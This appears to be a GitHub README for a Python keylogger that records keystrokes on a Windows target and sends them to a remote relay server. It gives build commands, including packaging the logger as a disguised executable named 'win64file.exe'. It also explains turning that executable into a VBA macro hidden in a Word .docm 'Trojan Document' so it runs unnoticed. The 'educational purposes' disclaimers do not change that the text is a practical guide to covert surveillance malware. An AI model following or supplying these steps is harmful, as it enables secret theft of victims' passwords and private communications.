A simple Python keylogger that captures keystrokes on a Windows target PC and sends them to a remote server running on Linux.
Disclaimer:
This code is for educational purposes only! Do not use it for any illegal activities. Misuse of this tool is your responsibility.
- Captures keystrokes in real-time on a Windows target PC.
- Sends collected keystrokes to a remote server running on Linux.
- Configurable server IP, port, and data transmission interval.
-
Clone the Aetriks repository:
git clone https://github.com/frHimanshu/Aetriks.git cd Aetriks
-
Clone the Aetriks Relay Server repository inside the
Aetriks
directory:git clone https://github.com/frHimanshu/aetriks-relay.git
-
Create a virtual environment:
python3 -m venv keylogger_env source keylogger_env/bin/activate
-
Install required dependencies:
pip install -r requirements.txt
-
Edit the
config.json
file in Aetriks-relay directory:- Update the
ip_address
field with the IP address of the Linux machine on which the Aetriks Relay server is gonna be hosted. - Example:
{ "ip_address": "", "port_number": 8080, "time_interval": 10 }
- Update the
-
Convert the keylogger to a Windows executable:
- Install PyInstaller:
pip install pyinstaller
- Build the executable and include
config.json
:pyinstaller --onefile --name win64file --add-data=config.json:. keylogger.py
- The output executable (
win64file.exe
) will be located in thedist
directory.
- Install PyInstaller:
-
Working executable is successfully created.
-
What is this for?
This step is for creating a Trojan Document. The vba script can be merged in the word Document with extension .docm . After sharing the Document file (macro enabled0 on target pc and ran the file, This can work exactly like exe file but without even noticing. Steps to create vba script is below!- Transfer the
win64file.exe
in the folder whereexe_to_vba.py
is sitting. - Run the python script of
exe_to_vba.py
you will receive aoutput.vba
file. - To merge the
.vba
script in the Word file, Their are many youtube videos you can find. - The
.docm
file is ready for testing.
- Transfer the
Refer to the Aetriks Relay Server Repository for detailed installation instructions.
Contact me on Discord if you want to know more about this or have any doubts!
id: _himanshu__
This project is for educational purposes only.
Make sure you have explicit permission before running this on any device. Misuse of this tool is your responsibility.
Feel free to contribute to this project by submitting issues or pull requests on GitHub.
This project is licensed under the MIT License. See the LICENSE
file for details.